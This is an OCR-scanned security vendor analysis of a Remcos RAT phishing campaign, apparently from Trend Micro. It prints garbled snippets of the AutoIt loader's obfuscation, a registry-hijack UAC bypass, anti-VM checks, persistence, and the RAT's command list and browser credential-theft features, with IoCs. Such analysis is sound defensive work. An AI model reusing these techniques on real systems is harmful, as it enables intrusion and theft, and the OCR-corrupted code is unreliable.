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In July, we came across a phishing email purporting to be a new order notification, which contains a malicious attachment
that leads to the remote access tool Remcos RAT (detected by Trend Micro as BKDR_SOCMER.SM). This attack delivers
Remcos using an Autolt wrapper that incorporates various obfuscation and anti-debugging techniques to evade detection,

which is a common method for distributing known malware.

Remcos RAT emerged in 2016 being peddled as a service in hacking forums — advertised, sold, and offered cracked on
various sites and forums. The RAT appears to still be actively pushed by cybercriminals. In 2017, we reported spotting
Remcos being delivered via a malicious PowerPoint slideshow, embedded with an exploit for CVE-2017-0199. Recently, the
RAT has made its way to phishing emails.

The malicious actor behind the phishing email appears to use the email address rud-division@alkuhaimi[.]Jcom (with a
legitimate domain) and the subject "RE: NEW ORDER 573923". The email includes the malicious attachment using the

ACE compressed file format, Purchase order201900512.ace, which has the loader/wrapper Boom.exe.
Analyzing the wrapper/loader

After converting the executable to Autolt script, we found that the malicious code was obfuscated with multiple layers,
possibly to evade detection and make it difficult for researchers to reverse. The top layer of obfuscation is shown in the

following:

Global $sfrwavktgognzobbfzg = ofmrmhsjkabiaxckorup ()

Local $svpuikfbx = IsInt(12)

jWhile ($svpuikfbx = IsInt(12))
Sxbcejnuriufmltzukgcgwhodpilosbtlcdkvijuczso = Execute (yymeitwepmfjeviydbdk (
Local $puhbhxispfxg = Assign (88645, zvcsmxoxtjileccscgish())
$svpuikfbx = $puhbhxispfxg
ExitLoop

- WEnd

Dim $vneaizmjfvhvipbks = uazmpozxwvawgoxgrtuy ()

Global Sgcgycerdkrwhibnte = IsString(agdbvatnghwrbrzkoadj())

JWhile ($gcgycerdkrwhibnte = IsString(agdbvatnghwrbrzkoad] (
Sibptbgsduzxlnhuhgohxmylmmfijdafglwvfbvn = Execute (nvzgytastubeawbrrref
Local $izvphzfirefdgezwvusf = gamaxllchnhtrsjmoicg()
$qgcgycerdkrwhibnte = Sixvphzfirefdgezvusf
ExitLoop

- WEnd

Dim Sacenwchrmwlhxnwvty = -13014

Local $isuafgdynflpgavnyeld = nfzyslzlycfuenfggcrn()

Global $fwiwvzgzsol = -50801

Dim Snbellgoahmgkudhuplg = fvvaisedkoldbkjhggox ()

Global S$trvajpp = dzmyxytovgigjacdgrrs()

Global $vliminphfxadtbmcg = fnlpzdbygpbblbgenybh ()

JIf Svliminphfxadtbmcg = fnlpzdbygpbblbgenybh() Then
Dim Soffacxkxaarrfkjgazl = 9963
Spagwnnkglscgkgpwxsxavrszuxtjzsoignucoclhmnugzikgegpndzbx = Execute (cwxzmxvwdeogshmzjnyq (

-EBndIf

Local $cfpzg = -16197

Local $lmopn = 53512

Global S$anrzxpu = -54648

Dim Swliwgpavkzf -53873

Global S$mvvpezuiggjchae = -72490

Local Serzxr = -71132

Dim Sxrticzzhbkccsggns = BitAND(-27312, 96507)

JjwWhile ($xrticzzhbkccsggns = BitAND(-27312, 96507))
opt (upgoewkdipaxlsxcahta (), zwsygtrsjcmtuncliyqw())
Global s$fdhmybpiewsnfkev = sghifmnpuuwpxzmjanmpy ()
Sxrticzzhbkcecsggns = $fdhmybpiewsnfkev
ExitLoop

-WEnd

Figure 1. Obfuscated core functions
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JFunc rlbbtpezoibmkossxpbw

kmnlknvgy ["19" 4500 - 4413, -97 + 177, 46045 - 45978, 86812 + -86695, 14371 + -14304, -73638 + 73752, 77821 + 77745, 68778
t To "18"
Chri fzgagqrhimnl knvgy [$mweivzuoiwrnprt
JFunc fcjclidegsmigttmgwis
I ca obvoiokdnjnku["26" 92392 - -92478, 82288 - 82172, -97043 - -97150, 44775 - 44658, 6584 - 6473, -92292 - -92376, -92814 + 92936, -3
Skeumwdgwrmghzxr
JJFunc edtbpvamtyxsaerfcbvk
cal $xyrdmdyhtfj 169" 45880 - 45814, 57435 - 57383, -81026 - -81079, -48403 + 48451, -2403 + 2459, -98343 + 98301, -82621 + 82672, 81
Local
El For $iabxfs vd L
$jpxdenduic &= ChrW ($xyr t [$iabxfsmjnxdwpvd
b Next
Return $jpxdcnduic
L EndFunc
JFunc j
| 10070, -65175 + 65240, -58516 + 58586, 64250 - 64180, -41428 - -41544, -86807 - -86909, -45743 + 45850
El
I sejozsilumeefmje
b Next
Return $ajuolvyqcz
L EndFunc
JFunc cluarfzmlktqaociwpft
] Local $mzdafujjdadesthjtlet["12" 34036 + 34124, 5346 14306 + 14377, -96217 + 96327, -39798 + 39874, 33929 + -33812, 96208 + -96139, 595

gtol11bumyl

Return Squurjrjdzz
L EndFunc

Figure 2. Functions used for deobfuscation

The main goal of the Boom.exe file is to achieve persistence, perform anti-analysis detection, and drop/execute Remcos RAT

on an affected system. The above snippet code first calculates the value inside the array and then uses the Chrw() function

to convert the Unicode number to the character.

Func zdrpjiyytkypaxsiayca()

Local $wymmihquookivyylxfpx["8"] = [-36552 + 36670, -41634 + 41732, -60627 +
60738, 18735 - 18615, -40895 + 40941, 48633 + -48532, 69818 - 69698, -72033 -

-72134]
Local $vieiagnrqr
For $qgfhbrdjfzqtczgk="0" To "7"
$vieiagnrgr &=
ChrW($wymmihquookivyylx fpx [$gfhbrdjfzqtczgk])
Next
Return $vieiagnrgr
EndFunc

Figure 3. Sample of string decoding

vbox.exe

In some cases after decryption, the malware uses the Autolt function called BinaryToString() to deobfuscate the next layer.

The following code snippet demonstrates this behavior:

Func bxpvvesktsxtexdolgmn()

Local Shjvchdjmumkimgcaeuwp["220"] =
[69371 - 69323, 72904 + -72784, -37167 - -37222, 23197 -
23147, -90298 + 90365, -21498 - -21548, -85032 - -85080,
[..TRUNCATED...]]

Local Sfxbpyfgfya

For Szwebljtcibdnggs = "0" To "219"

Sfxbpyfgfya &=

ChrW(Shjvchdjmumkimgcaeuwp[Szwebljtcibdnggs])

Next

Return $fxbpyfgfya
EndFunc

Figure 4. Autolt Binary to String decoding

0x446C6C43616C6C28276164766170693
3322E646C6C272C2027696E74272C2027
496E697469616C697A6541636C272C202
7707472272C20247041434C2C20276477
6F7264272C20446C6C537472756374476
57453697A6528247441434C292C202764
776F7264272C207[TRUNCATED]

BinaryToString ( expression [, flag = 1] )

DliCall(*advapi32.dIl','int', 'InitializeAcl’, 'ptr', SpACL, 'dword",
DIIStructGetSize(StACL), 'dword’, '2')
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After deobfuscation, the Autolt code can be seen containing large amounts of junk code meant to throw analysts off the

track.

Dim Svbkrhubyqf anlsfycqaxg
Global Shgljzm = Rbs(=52230)
If Shgljzm = Abs(-52230) Then
Local Saamxqggillu = IsString(-64918) Junk Code
Sexec($b(FileCopy (@ScriptFullPath, $fullpath)))
EndIf
Local Saocdj = thankGthksMVijbiHgaYM
Global smktgetmzdputspvwycdiot = -
Local Sfhandle = Sexec(Sp(Flleopen(Sfullpath, "17)))
Global Sfbgeeoywnbrrfmrgpd KMxXuEks1ZuRQ
Dim Suchppeocislmcbb
If Suchppeocislmcbb . Then
Dim Sehxhquoi = KogRBMsPJAobhabt
sexec($b(FileWrite (Sfhandle, Shytes)))
Dim Sreumcicznyf = -
Dim Sulgimyetwzgsu
Local Sogtuosktbluzay:
Dim Sfgtgjlgs = HVlA:GTgpkN]UWahhnont
Dim Sadaiiymijgi = 7
Dim Sgledkusgz = ufsznMLwaK _]unk C()de
Global Sdcdslcxkew = -1
Dim Sohxbxaurcng = ljZN:vHSPnnHLspJBArExDZ
Dim Szknlzpbfxfzuxgf =
Local Sjngobbtmgobtikj = Celllng
If S$jngobbtmgobtikj = Ceiling (-7
Dim S$jhvszlijftul = kpbJdv
sexec($b(FileDelete (Sfullpath & "))
EndIf
Global Slgwmgkn = =44
Local Syfgjhgirwl uheov = ArNTDkxaYvvXrrwCMEDx1oFxtsp
Dim Sphlvqwx =
If Sphlvqwx = -8 Then
Local Stgewkgvgdvic
Sexec(Sb(RegWrite ("H
EndIf
Dim Sicsfqacquxva = 74985
Dim Skomgjhhffffvpjirkcesv = yvrEIpwtvhXRghBaVNA
Global suhbloegvdeck = nQDwpJMzH1RaCBd
EndIf
EndFunc

hnkLMgZKurLQ;AHVUl1wzHNungmvnfunalMBngBth

\Software\Mi

"Load", "REG_SZ", $fullpath)))

Figure 5. Sample of junk code

The malware then creates a copy of itself in %AppData%\Roaming\appidapi\UevTemplateBaselineGenerator.exe and loads
the main payload (Remcos RAT) from its resource section. The malware then prepares the environment to execute the main
payload. It achieves this by executing the following Shellcode (frenchy_shellcode version 1).

Local
DllstructsetData (plistructCreate
DllstructSetData (SFile St

.
| sdata)))

AppDatabir &

wddtuykgzw ()

JFunc wddtuykgzw ()

GUICreate (" 157457

= Execute (DecData (" 0x 26446617

3
|
El
\
\
|
L

frunc stnatighnt(
Execute ("RunPE (@ScriptFullrath
EndFunc

2DZazQEETEFWLL, False, True) ")

Figure 7. Executing and decoding Frenchy Shellcode

Key HKLM\SOFTWARE\Microsoft\Windows\Currentversion\Explorer\FolderDescriptions\{F38BF404-1D... 0xf4
Key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer Oxfc
Key HKCU\Software\Microsoft\Windows NT\CurrentVersion 0x128
Key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags Ox12c
Mutant ‘\Sessions\1\BaseNamedObjects\frenchy_shellcode_001 Ox114

Figure 8. Frenchy Shellcode Mutant
Decoding and loading Remcos from resources

The DecData() function loads the data from its resource then reverses all data and replaces “%$=" with «/”.
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Figure 9. Autolt decoding the main payload: Code + encoded resource (Remcos RAT)

JFunc decdata({Sveata, Svorpptkey, Srt)

izta = globaldata($vdata, $rt)
StringReverse (BinaryToString (§sData))
Ssdata = StringReplace (SsData, "5=", /")
Local Sstrust = DllStruetCreats("int
§a_call = DllCall("Cx

tringToBinary",

[" & DllStructGetData (Sstruct,
.d1l", "inen, ingToBinary”,

DI1StructGetPtr(Sstruct, 1),

Return DllStructGetData($a, 1)
EndFunc

Figure 10. Autolt decoding the main payload: Code only

", $sbata, "int", O,

, $sData, "int", 0, "int",

Then it uses the following to decode the base64 PE file, which is the main payload:

$a_call = DIICall("Crypt32.dll", "int", "CryptStringToBinary", "str", $sData, "int", 0, "int", 1, "ptr", 0,

"ptr", DlIStructGetPtr($struct, 1), "ptr", 0, "ptr", 0)
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Figure 11. Decoding Remcos from Autolt
Loader features

Anti-VM
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This Autolt loader is capable of detecting a virtual machine environment by checking vmtoolsd.exe and vbox.exe in the list

of running processes. However, it should be noted that this feature is not invoked in this sample.

Func mzpmouipci ()
Local Sarray
For 5i =1
To UBound(Sarray) - "1"

[vintoolsd.ex, vbox.ex]

If FProcessExists(Sarray[5i]) Then

ProcessClose (GRUtoItPID)

EndIf
Next
EndFunc

Figure 12. Autolt loader’s Anti-VM
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Bypass UAC

Depending on the Windows version, the malware uses either the built-in Event Viewer utility (eventvwr) or fodhelper to

bypass the User Account Control (UAC).

Func afbvdvwovf ()
If NOT IsZdmin() Then
If StringInstr(SosVersion, "7") Then
zkotisepzm()
ElseIf StringInStr(SosVersion, "8") Then
zkotisepzm()
ElseIf StringInStr(SosVersion, "10") Then
tvepixykwz ()
EndIf
EndIf
EndFunc

Func zkotisepzm()
RegWrite ("HKCU\Software\Classes\mscfile\shell\open\command”, "", "REG_Sz", @AutoItExe}))
ShellExecute ("eventvwr")
ProcessClose (BRutoItPID)

EndFunc

Func tvcpixykwz()
Dl1lCall("kernel32.dll", "boolean", "Wowé64EnableWowé4FsRedirection", "boolean", "0")))
RegWrite ("HKCU\Software\Classes\ms-settings‘\shell\open\command", "DelegateExecute", "REG SEZ", "Null")))
RegWrite ("H oftware\Classes\ms-settings\shell\open‘\command”, "", "REG_SZ", @AutoItExe)})
ShellExecute (" ECCGRSIDEE")
ProcessClose (RBRutoItPID)

EndFunc

Figure 13. UAC bypass
Anti-Debugging

If the loader detects IsdebuggerPresent in the system, it will display the message, “This is a third-party compiled Autolt

script.” and exits the program.

« LEXLIYO49I00T  Lied Edx, |euptvdr_s |

.text:88483B83 push eax 3 int

.text:20483684 push [ebp+arg_a] 3 wchar_t *

.text:88483B87 call sub_483778 3 #5TR: "CMDLINERAW", "CMDLINE", "/ErrorStdOut”, "/AutoIt3Outpu

Ltext:2048368C call ds:IsDebuggerPresent
.text:88483B92 test eax, eax
.text:20483694 jnz loc_43D4AD

.text:@84@369A mov eax, dword_4CG62E@
Ltext:88483B9F test eax, eax
Ltext:@e483BA1 jz loc_483C97

Figure 14. Autolt loader checks for a debugger
Examining the main payload, Remcos RAT

Originally marketed as a remote access tool that legitimately lets a user control a system remotely, Remcos RAT has since
been used by cybercriminals. Once the RAT is executed, a perpetrator gains the ability to run remote commands on the
user’s system. In a past campaign, for instance, the tool was seen with a variety of capabilities, which includes downloading

and executing commands, logging keys, logging screens, and capturing audio and video using the microphone and webcam.

For the analysis of this payload, we looked into the sample Remcos Professional version 1.7.
b g
- Disconnection occurred, retrying to connect...
- addnew
- 1.7 Pro
- Yolb4u
- Connected to C&C!
- %002i: %02i: %02i: %031 [INFO]
- Initializing connection to C&C...

- initrem scrigt
- initfiin

Figure 15. Remcos version

Upon execution, depending on the configuration, the malware creates a copy of itself in %AppData%\remcos\remcos.exe,
uses install.bat to execute remcos.ex$ from the %$APPDATA% directory, and finally deletes itself. It then creates the

following Run key in the Registry to maintain persistence on the system.
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[=|install.bat E3
PING 127.8.8.1 -n 2
\Users\User_Name\AppD \Roaming\remcos\remcos .exe"

del %0
exit

Figure 16. Install.bat dropped by Remcos

2] [ name | Type | Data
ab | (Default) REG_S7 (value not set)
ab|remcos REG_S7 "C:\Users\User_Name\AppData\Ro
Value name:
Iremcos
Value data:
OK | Cancel

Figure 17. Remcos RAT changes the Registry entry to maintain persistence

JJNZ_SHORT 00409039

PUSH EBX

PUSH ESI

LEA ECX, [ARG.4]

CALL DWORD PTR DS: [<&MSUCPGO.?size@?$basic_string

PUSH ERX DataSize

LEA ECX, [ARG.4]

ICALL DWORD PTR DS:[<&MSUCP6O.?c_str@?$basic_string

PUSH ERX Data

XOR EBX,EBX

PUSH DWORD PTR $S:[ARG.8] Type => [ARG.8]

PUSH EBX Reserved => 0

PUSH DWORD PTR $$S:[ARG.3] SubKey => [ARG.3]
hKey => [ARG.2]

hKey = [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentUersion\Run]

0049901E

00409024 | CHP_ESI, EBX

00409026

00409028 ||MOU BL,1

ADUAPI32.RegSetUalueExA returned EAX ERROR_SUCCESS

Stack [0@12FCDC]=003D3F79, ASCII ""C:\Users\User_Name\AppData\Roaming\remcos\remcos.exe""
Stack [0012FCF8]=0000009C (decimal 156.)

Figure 18. Reflected Remcos RAT change in the Registry

The malware retrieves the configuration called “SETTING” from its resource section.
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e 5

Ltext:ee4088158
Ltext: 084088158

text:ea4a8158
Ltext:ee4088158
Ltext: 084088158
Ltext: 88488158
text:ea4a8158
Ltext:ee4088158
Ltext: 88488151
Ltext: 88488153
text:ea488154
Ltext: 884858155
Ltext: 28488157
Ltext:8848815C
text:8e48815E
Ltext:ee408164
Ltext: 08488166
Ltext: 88488167
text:ee488169
Ltext:8e48816F
Ltext: 084088178
Ltext: 88488176
Jtext:eed4a8177
Ltext:8e488179
Ltext: 08488176
Ltext: 88488151
text:ead4a5184
Ltext: 884858185
Ltext: 284881357
.text: 284881388
text:ee488189
Ltext:8e485189
Ltext: 284851389

Ltext:eede8158

Attributes:

bp-based f

sub_ 488158 proc near

arg_@= dword ptr 8

push
mov
push
push
push
push
push
call
mov
push
push
call
push
call
push
push
mov
call
mov
pop
mov
pop
pop
retn

ebp

ebp, esp

esi

edi

84h

offset aSettings
a
ds:FindResourceA
edi, eax

edi

a
ds:LoadResource

esi, eax

rame

3 1pType

"SETTINGS"

ds:SizeofResource

ecx, [ebp+arg_@]
edi

[ecx], esi

esi

ebp

sub_ 488158 endp

'.hMUdule
hResInfo
hModule
hResData

hResInfo
htodule

Figure 19. Remcos loads the encrypted settings from its resources

The content of the configuration is encrypted using the RC4 algorithm, as seen below:
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Figure 20. Remcos encrypted configuration

The following, on the other hand, is the RC4 algorithm used to decrypt the above configuration:
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gmemcpy N , sizeof( 3K
= a;
= @;
if (! )
while { 1)
{

= (v3 + 1) % 256;
= + [vEls

-
|

"
jar
[=
[ =

}
h

return H

Figure 21. RC4 algorithm to decrypt the configuration

00382099 6> ~
00382DA9 160.116.15.149:3
00382DB9 5364 :pass|henryo
00382DC9 fonyiri.ddns.net
00382DD9 :35364 pass|@@Ho
00382DE9 steedseuuEEUeE e
00382DF9 @@ @@ EEe@A@remc

00382E09 0s . exe@Bremcos@@

00382E19 @RORRremcos_etr
00382E29 cewrortwiuhm@@l@
00382E39 @6Q@Rlogs.dat@e @
00382E49 @ @@ GR1ER RREES
00382E59 @E6@@Screens@@ @
00382E69
00382ET79
00382E89
00382E99
00382ER9 remcos@@remcos@@

Figure 22. Decrypted configuration

The malware then creates the following mutex to mark its presence on the system:

ElkEYE] | PUSH EAX Name = “remcos_etrcewrortwiuhm”
PUSH 1 InitialOwner = TRUE
PUSH ESI pSecurity
CALL DWORD PTR DS:[<&KERNEL32.CreateMut<L_KERNEL32.CreateMutexA
CALL DWORD PTR D$S:[<&KERNEL32.GetLastErt [KERNEL32.GetLastError
CHMP EAX,0BT CONST BT => ERROR_ALREADY_EXISTS
JNE SHORT 00407598
PUSH 1

Figure 23. Remcos RAT mutex

It then starts to collect system information such as username, computer name, Windows version, etc., which it sends to the
command and control (C&C) server. The malware encrypts the collected data using the RC4 algorithm with the password

“pass” from the configuration data.
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188487065 push offset ProcName ; "GetModuleFileNameE
188487064 push offset aKernel32D11 @ Kernel32.d1l
:88487D6F call edi ; GetModuleHandleA

188487071 push eax 3 hModule

188487072 call esi ; GetProcAddress

188487074 mov dword_41592C, eax

'

Ltext:@e487079 loc_4@7079:

Jtext:2e487079 push offset aGetmodulefilen_®@ ; "GetModuleFileNameExi
Ltext:88487D7E push offset LibFileName ; "Psapi.dll”

Ltext:88487083 call ebx ; LoadlLibrarya

.text:@8487085 push eax ; hModule
Ltext:ee4687D086 call esi ; GetProcAddress
Ltext:@88487088 cmp dword_41592C, @
Jtext:8848708F mov dword_415928, eax
Ltext:@e487094 jnz short loc_4@7DAA

 J

Ltext:@8467096 push offset aGetmodulefilen_@ ; "GetModuleFileNameEx"
.text:@@4@87096 push offset aKernel32D1l @ ; “"Kernel32.d11"
Ltext:ee487D80 call edi ; GetModuleHandleA

Ltext:88487DA2 push eax 3 hModule
Ltext:ee487DA3 call esi ; GetProcAddress
.text:@@487DAS mov dword_415928, eax

'9

M
Ltext:eed4a7DAA

Jtext:804870AA loc_4@87DAA:

Ltext:88487DAA push offset aGlobalmemoryst ; "GlobalMemo
Ltext:88487DAF push offset akernel32D11 1 ; "kernel32.dll
.text:884687DB4 call ebx ; LoadLibrarya

tatusEx”

Jtext:884870B6 push eax ; hModule

.text:88487DB7 call esi ; GetProcAddress

.text:88487DE9 mov ebx, offset akKernel32 ; "kernel32"
.text:8@487DBE push offset alswowb4process ; "IsWows4Process”
Jtext:8e4870C3 push ebx ; lpModuleName
Ltext:884870C4 mov dword_415934, eax

Ltext:88467DC9 call edi ; GetModuleHandlea

.text:8e487DCE push eax ; hModule

Ltext:8e4e87DCC call esi ; GetProcAddress
.text:88487DCE push offset aGetcomputernam ; "GetComputeriameExW”

Ltext: 88487003 push ebx ; lpModuleName
Ltext:8e487004 mov dword_415694, eax
.text:ee467DD09 call edi ; GetModuleHandleA
.text:88487DDE push eax ; hModule

.text:88467DDC call esi ; GetProcAddress
.text:8@487DDE push offset alsuseranadmin ; "IsUserAnAdmin”
Jtext:8@487DE3 push offset ashell3z ; "shell32”

Ltext:88487DES mov dword_415B98, eax
.text:88487DED call edi ; GetModuleHandlea
.text:8@487DEF push eax ; hModule

.text:ee467DF8 call esi ; GetProcAddress

.text:88487DF2 push offset aSetprocessdepp ; "SetProcessDEPPol
Ltext:88487DF7 push ebx ; lpModuleName

tewt :AALATNFR mowv dwnrd 41593/, eaw

Figure 24. Remcos collecting system information
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pESOTHTI [DataStart]N@ a
00507489 ddnew|cmd|Host | ¢
BE50TH99 mdiC ompute
POSOTHAY r_Name /U
pOSOT4BY ser _Name
PESOTHCY lemd|USIcmd IWin
PO5074D9 dows 7 Ultimate
OOSOTHEY N (32 bit)lemdl|
POSOTHFY cmd| 3220692992 | ¢
pES0TS09 mdl1.7 Prolcmd]|C
PE507519 :\Users\User_Nam
0O507529 e\AppData\Roamin
0O507539 gh\remcos\logs.da
0E50TS4S tlemd|C:\Users\U
BE507559 ser_Name\AppData
00507569 \Roaming\remcos\
0E507579 remcos.exe|cmd] |
pE50T589

pE50T599

POSOTSAY

PO50T5BY

PE5075CY

Figure 25. Clear text data collected by Remcos, where “|cmd|” is the delimiter

[l =

.text:8840258D

.text:0840258D LCC_t‘lBZSED:

.text:0048258D lea ecx, [ebptar

.text:00482590 call ds:?length@? _stringf har_trait $alloca 2 3EIXZ ;
.text:08482596 push eax

Ltext:00402597 lea ecx, [ebptarg @]

.text:0848259A call ds:?data@?$basic_string@DU?$char_traits@D@std@@v?$allocator@@2@@std@@QBEPBDXZ ;
.text:00482540 push eax

.text:004825A1 lea eax, [ebpt+var_24]

.text:084825A4 push eax

.text:084825A5 mov ecx, offset unk_415288

.text:004025AA call RC4

.text:084025AF push 2] ; flags

.text: 00482581 lea ecx, [ebp+arg

.text:00402584 call ds:?length@?$b _string char_traits@ fstdi 5 at 02@@std@@QBEIXZ ;
.text:804825BA push eax ; len

.text:004825B6 lea ecx, [ebptvar_24]

text:884025BE call ds: ¢ t *Thasic t g 'Scha a a cat JQ@QBEPBDXZ ;
.text:804825C4 push eax ; buf

.text:804825C5 push [ebp+s] i S

.text:004025C8 call send ; #API: senc

.text:0e4025CD lea ecx, [ebp+var_24]

.text:0040825D8 mov esi, eax

.text:004025D2 call ds:??12$basic_string@Du?$char_tra Z;

Figure 26. Data is encrypted and sent to C&C server
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Figure 27. Encrypted data

The following list shows some of the commands supported by the malware:

Commands Description
Clipboarddata Getclipboard Setclipboard Emptyclipboard Clipboard manager
deletefile Delete file(s)

Download a file from specified URL and execute it
downloadfromurltofile
on an infected system

execcom Execute a shell command

filemgr File manager

getproclist List the running processes

initremscript Execute remote script from C&C

keyinput Keylogger

msgbox Display a message box on an infected system
openaddress Open a specified website

OSpower Shutdown, restart, etc.

ping Ping an infected system (used for network check)
prockill Kill a specific process

regopened regcreatekey regeditval regdelkey regdelval
. . Add, edit, rename, or delete registry values and keys
regopen initregedit

scrcap Screen capture
sendfiledata Upload data to C&C server
uninstall Uninstall itself from an infected system

Table 1. Remcos RAT commands
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The “consolecmd” command shown in the next figure, for instance, is used to execute shell commands on an infected

system:

3

v177 = "execcom";
if ( (unsigned __ int8)std::operator==(&v282) )

(char *)5;
sub_481289(1);

VS5 = (const CHAR *)
WinExec(vs5, (UINT)v
goto LABEL 99;

d::basic_string<char,std::char_traits<char>,std::allocator<charz>::c_str(vs4);

}.

177 = "consolecmd™;
if ( (unsigned __ int8)std::operator==(&v282) )

t1basic_string<char,st

std::operator+(DstBuf,

SEND_DATA_sub_482198( ( y&unk_415A38, v174, V175, (intyvi77);
std::basic_string<char,std::char_traits<char:,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std
v28 = &v198;

goto LABEL_18;

i

w177 = "openaddress”;
if ( (unsigned __ int8)std::operator==(&v282) )

 481289(1);
const CHAR *)std::basic_string<char,std::char_traits<chars,
ecuteA(®, "open”, v59, (LPCSTR)v1VS, (LPCSTR)w1?6, (INT)vii7);
goto LABEL_99;

¥
v177 = "initializescrcap”;
if ( (unsigned __int8)std::operator==(&v282) )

{

Figure 28. Some examples of Remcos RAT’s commands

4u0T45 |IEAreq 3l COOKIES ¢t STOFEd 10gINs!|
4 sub_ 405053 (4)
405d6a Cookies
405edf [IE cookies cleared!]
405d6f Software\Microsoft\Windows\CurrentVersion'ExplorerUser Shell Folders
405dba [IE cockies not found]
4 sub_405AFB (3)
405627 “WAppData'RoamingiMozilla'Firefox\Profiles',
405d1d [Firefox Cookies not found]
405c5f ‘wcookies.sqlite
405ceb [Firefox cookies found, cleared!]
405b33 UserProfile
4 sub_4057B6 (6)
405986 ‘key3.db
405941 “logins,json
405abc [Firefox StoredLogins cleared!]
405362 [Firefox StoredLogins not found]
405Tfc UserProfile
40570 “WAppData\Roaming\Mozilla\Firefox\Profiles\
4 sub_4056EC (4)
405791 [Chrome Cookies found, cleared!]
405758 [Chroeme Cockies not found]
4056f6 “WAppDataiLocal\Google\Chrome\User Data\Default\Cookies
4056fc UserProfile
4 sub_405622 (4)
40562¢ “AppDatatLocal\Google\Chrome\User Data\Default\Login Data
40568 [Chreme StoredLogins net found]
4056¢7 [Chrome StoredLogins found, cleared!]
405632 UserProfile

Y

sub_405142 (2)

Figure 29. Browser/cookie-stealing feature

After analyzing this Remcos variant — its configuration data, communication mechanism, and functionalities — we saw

that it had many similarities with its older variant (detected as Backdoor.Win32.Remcosrat.A). However, this particular

char_traits<char:,std:

campaign delivers Remcos using an Autolt wrapper, which incorporates different obfuscation and anti-debugging techniques

to avoid detection.

Prevention and Trend Micro Solutions

To defend against threats like Remcos RAT that use email-based attacks, we advise users to refrain from opening unsolicited

emails — especially those with attachments — from unknown sources. Users should also exercise caution before clicking on

URLSs to avoid being infected with malware. For enterprises, if an anomaly is suspected in the system, report the activity to

the network administrator immediately. We also recommend these best practices for added protection:

e Learn how to identify phishing emails and spot indicators of unwanted emails (i.e., misspellings, odd vocabulary)
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¢ Update applications and systems regularly

o Apply whitelisting, block unused ports, and disable unused components

» Monitor traffic in the system for any suspicious behavior

Implementing security solutions with anti-spam filtering should weed out spam messages such as the one discussed here.

The use of a multilayered solution such as Trend Micro™ Deep Discovery™ will help provide detection, in-depth analysis,

and proactive response to today’s stealthy malware such as Remcos RAT, and targeted attacks in real-time. It provides a

comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized

engines, custom sandboxing, and seamless correlation across the entire attack lifecycle. Trend Micro™ Deep Discovery™

Inspector prevents malware from reaching end users. For a more comprehensive security suite, organizations can consider

the Trend Micro™ Cloud App Security™ solution, which employs machine learning (ML) in web reputation and URL

dynamic analysis. The solution can also detect suspicious content in the message body and attachments as well as provide

sandbox malware analysis and document exploit detection.

Indicators of Compromise (IoCs)

File Name and Email

Note SHA-256 Hash
Address
Email
Purchase
attachment  cf624ccc3313f2cb5a55d3a3d7358b4bd59aa8de7c447cdb47b70e954ffa069b
order201900512.ace
(ACE)
ACE file
Boom.exe content
. 1108ee1ba08b1d0f4031cda7e5f8ddffdc8883db758ca978a1806daeaceffd1l
(Loader/Wrapper) (Win32
EXE)
Remcos
RAT
remcos.ex$ (Win32 6cf0a7a74395ee41f35eab1cb9bb6a31f66af237dbe063e97537d949abdc2ae9
in
EXE)
rud-
Sender ID
division@alkuhaimi[.]Jcom
Source: https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html
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